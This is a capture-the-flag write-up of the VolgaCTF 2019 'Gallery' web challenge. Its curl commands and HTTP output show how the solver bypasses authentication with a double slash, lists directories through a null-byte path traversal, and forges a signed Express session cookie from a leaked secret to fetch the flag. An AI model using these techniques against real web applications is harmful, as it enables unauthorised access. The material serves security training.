VolgaCTF 2019 - Gallery

A not so secure image gallery

main page

Screenshot of the main page in the browser

TL;DR

Exploitable through a combination of:

  • bad path handling in NodeJS,
  • path manipulation in directory listing in PHP, and
  • path manipulation in session-file-store.

Flag: VolgaCTF{31c2ac53d4101a01264775328797d424}

Discovery

  • robots.txt (404 - not found)
  • Website source code - interesting locations: /js/, /css/, /api/
  • Response Headers
    > GET / HTTP/1.1
    > Host: gallery.q.2019.volgactf.ru
    > User-Agent: curl/7.64.0
    > Accept: */*
    >
    < HTTP/1.1 200 OK
    < Server: nginx/1.10.3 (Ubuntu)
    < Date: Mon, 01 Apr 2019 08:24:28 GMT
    < Content-Type: text/html
    < Content-Length: 2417
    < Last-Modified: Wed, 30 Jan 2019 21:28:34 GMT
    < Connection: keep-alive
    < ETag: "5c521702-971"
    < Accept-Ranges: bytes
    
> GET /api/login HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:24:53 GMT
< Content-Type: text/plain; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Express
< cache-control: no-cache, private
  • Directory listings in /js/
curl -vv http://gallery.q.2019.volgactf.ru/js/
*   Trying 142.93.204.169...
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET /js/ HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:26:22 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<html>
<head><title>Index of /js/</title></head>
<body bgcolor="white">
<h1>Index of /js/</h1><hr><pre><a href="../">../</a>
<a href="bootstrap/">bootstrap/</a>                                         30-Jan-2019 09:08                   -
<a href="jquery/">jquery/</a>                                            30-Jan-2019 09:09                   -
<a href="auth.js">auth.js</a>                                            30-Jan-2019 11:30                 312
<a href="config.js">config.js</a>                                          30-Jan-2019 07:46                 391
<a href="index.js">index.js</a>                                           30-Jan-2019 11:29                1096
<a href="main.js">main.js</a>                                            30-Jan-2019 08:19                 785
</pre><hr></body>
</html>

Conclusion: NodeJS Application (Frontend), based on X-Powered-By: Express and the files found in /js/.

Analysis

Looking in index.js, we find:

[...]
app.get(`${config.apiPrefix}/flag`, function (req, res) {
	console.log(req.session);
	if(req.session.name === 'admin')
		res.end(fs.readFileSync('../../flag', 'utf8'));
	else
		res.status(403).send();
});
[...]

Let‘s call the API for the flag we found in index.js:

curl -vv http://gallery.q.2019.volgactf.ru/api/flag
*   Trying 142.93.204.169...
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET /api/flag HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:28:20 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Express
<

Drats, it requires authentication.

Looking further:

[...]
app.use(proxy(config.proxy));
[...]

index.js

[...]
server: {
  port: 4000
},
proxy: {
  target: 'http://localhost:5000',
  autoRewrite: true
}
[...]

config.js

Ok, so it proxies to a backend server on port 5000 we can’t reach. NodeJS listens on port 4000, and NGINX listens on port 80. The API endpoints that NodeJS itself responds to are /api/login, /api/logout and /api/flag. Everything else is proxied and requires authentication with NodeJS/ExpressJS.

Can we get around that?

Backend

The authentication is set up to force logins for /api/*, excluding /api/login and /api/logout:

app.use(`${config.apiPrefix}/*`, auth.unless({path: config.whitelistPaths}));

index.js

Let‘s try to fool the request mapper to reach the backend:

curl http://gallery.q.2019.volgactf.ru//api/foo
Welcome to volgactf gallery backend

Excellent, we bypassed the NodeJS authentication and accessed the backend. What next? Looking at main.js

[...]
$.getJSON(`/api/images?year=${year}`, function(data) {
[...]
            href: `/api/image?year=${year}&img=${img}`,
[...]

we find that /api/images and /api/image are passed to the backend. Lets‘s call one of them:

Lists files:

curl http://gallery.q.2019.volgactf.ru//api/images\?year\=2018
["2.jpg","3.jpg","5.jpg","6.jpg","4.jpg","1.jpg"]

Download an image:

curl -vv http://gallery.q.2019.volgactf.ru//api/image\?year\=2018\&img\=1.jpg
Trying 142.93.204.169...
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET //api/image?year=2018&img=1.jpg HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:37:36 GMT
< Content-Type: image/jpeg
< Content-Length: 1255783
< Connection: keep-alive
< X-Powered-By: Express
< cache-control: public
< last-modified: Tue, 29 Jan 2019 10:29:28 GMT
< content-disposition: attachment; filename=1.jpg
< accept-ranges: bytes
<
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
* Failed writing body (0 != 13664)
* Closing connection 0

Path manipulation

Ok great, we can list images and download them. Let‘s try some path manipulation: The images themselves are more or less stock images and not at all interesting.

Let‘s try some path manipulation:

http://gallery.q.2019.volgactf.ru//api/images?year=..

Rats, it didn’t work, but we get an error page.

Backend error page

Interesting bits (reformatted):

[...]
<p class="break-long-words trace-message">
DirectoryIterator::__construct(/var/www/apps/volga_gallery/storage/app/../img/):
failed to open dir: No such file or directory
</p>
[...]

The /img/ part keeps us from doing directory traversal. By introducing null bytes (%00), we can cut off the string passed after %00, as the underlying function written in C/C++ works with null-terminated strings.

So will adding null bytes work?

Folder listing

curl http://gallery.q.2019.volgactf.ru//api/images\?year\=..%00
["app","framework","logs"]

Nice – we got a folder listing. So let‘s poke around a bit.

curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../..%00
["volga_gallery","volga_adminpanel","volga_auth"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_auth/%00
["login.html","node_modules","sessions","js","css","package.json","index.html"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_adminpanel%00
["sessions","app.js"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_adminpanel/sessions/%00
["euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../..%00
["html","flag","apps"]

Gatherings

So what‘s interesting here? The folder volga_auth is served by nginx (as its document root) on port 80 and can be inspected via the browser. The folder volga_gallery contains the backend app (as evidenced by the backtraces a Laravel PHP app) and is served by a non-public nginx on port 5000. NodeJS is reachable on port 4000. The flag is in /var/www/flag.

Overview of the app's components

Crude drawing of the app’s components

The application’s package.json

The attack continues

Trying to download files

Trying to get the /api/image endpoint to read files did not work – the img parameter is passed to preg_replace with a very restrictive set of characters ([^A-Za-z0-9_.-]) and year is passed to file_exists, which is not vulnerable to null byte attacks.

http://gallery.q.2019.volgactf.ru///api/image?year=../%00&img=1.jpg

/api/image with null byte in year, HTML

http://gallery.q.2019.volgactf.ru///api/image?year=2018&img[0][0]=

/api/image preg_replace barrier, HTML

Session spoofing

As we didn’t manage to download files, we now look at how we can get an authentication to use the /api/flag endpoint.

We found a promising folder containing session data:

curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_adminpanel/sessions/%00
["euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json"]

How can we use this? Looking at the NodeJS/ExpressJS app source, we find that it uses session cookies and it stores the session’s data in the file system.

[...]
const session = require('express-session');
const store = require('session-file-store')(session);
[...]

index.js

[...]
DEFAULTS: {
    path: './sessions',
[...]
}
[...]
sessionPath: function (options, sessionId) {
  //return path.join(basepath, sessionId + '.json');
  return path.join(options.path, sessionId + options.fileExtension);
},
[...]

session-file-helpers.js

The directory sessions/ exists in volga_auth, but is empty.

The sessionPath construction seems to be susceptible to path manipulation.

We did find another sessions directory in volga_adminpanel – let‘s try to forge this session. With a little luck, the admin reused the secret in the other application.

We need to sign the cookie though.

The session cookie is named “SESSION” and the secret is “;GmU1FSlVETF/vzEaBHP”:

session: {
    name: 'SESSION',
    saveUninitialized: false,
    secret: ';GmU1FSlVETF/vzEaBHP',
    rolling: true,
    resave: false
  },

config.js

To generate a valid session cookie, we have to look at the signature algorithm used:

function getcookie(req, name, secrets) {
  var header = req.headers.cookie;
  var raw;
  var val;

  // read from cookie header
  if (header) {
    var cookies = cookie.parse(header);

    raw = cookies[name];

    if (raw) {
      if (raw.substr(0, 2) === 's:') {
        val = unsigncookie(raw.slice(2), secrets);

        if (val === false) {
          debug('cookie signature invalid');
          val = undefined;
        }
      } else {
        debug('cookie unsigned')
      }
    }
  }
[...]

exsession-index.js

[...]
exports.sign = function(val, secret){
  if ('string' != typeof val) throw new TypeError("Cookie value must be provided as a string.");
  if ('string' != typeof secret) throw new TypeError("Secret string must be provided.");
  return val + '.' + crypto
    .createHmac('sha256', secret)
    .update(val)
    .digest('base64')
    .replace(/\=+$/, '');
};
[...]

cookiesig-index.js

so the corresponding HTTP header is supposed to be:

Cookies: SESSION=s:<<VALUE>>.<<SIGNATURE>>

Let‘s generate the signature:

openssl dgst -sha256 -mac hmac -macopt key:$SECRET <(echo -n $VALUE)
HMAC-SHA256(/proc/self/fd/13)= 07434928493db5ce280e2360444582bf137da93a62e48e07da4e7a143c79c269

Ok, but we need a base64 digest:

openssl dgst -sha256 -mac hmac -macopt key:$SECRET -binary <(echo -n $VALUE) | openssl base64
B0NJKEk9tc4oDiNgREWCvxN9qTpi5I4H2k56FDx5wmk=

Almost - we need to strip the ‘=’s at the end (the zero padded part):

openssl dgst -sha256 -mac hmac -macopt key:$SECRET -binary <(echo -n $VALUE) | openssl base64 | sed -re 's/=+$//'
B0NJKEk9tc4oDiNgREWCvxN9qTpi5I4H2k56FDx5wmk

Finish him!

Excellent. Now, combine it into one command and try path manipulation magic to reference volga_adminpanel’s sessions directory:

export VALUE='../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM' ; \
  curl --path-as-is -L -vv -b \
    "SESSION=s:${VALUE}.$(openssl dgst -sha256 -mac hmac -macopt key:';GmU1FSlVETF/vzEaBHP' -binary <(echo -n ${VALUE}) | openssl base64 | sed -re 's/=+$//')" \
    http://gallery.q.2019.volgactf.ru/api/flag
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET /api/flag HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
> Cookie: SESSION=s:../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB/J4sPnVj5QkDEuBu/0QelFQQqAV6yh4
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:58:32 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Express
< set-cookie: SESSION=s%3A..%2F..%2Fvolga_adminpanel%2Fsessions%2Feuzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB%2FJ4sPnVj5QkDEuBu%2F0QelFQQqAV6yh4; Path=/; HttpOnly
<
VolgaCTF{31c2ac53d4101a01264775328797d424}

SUCCESS!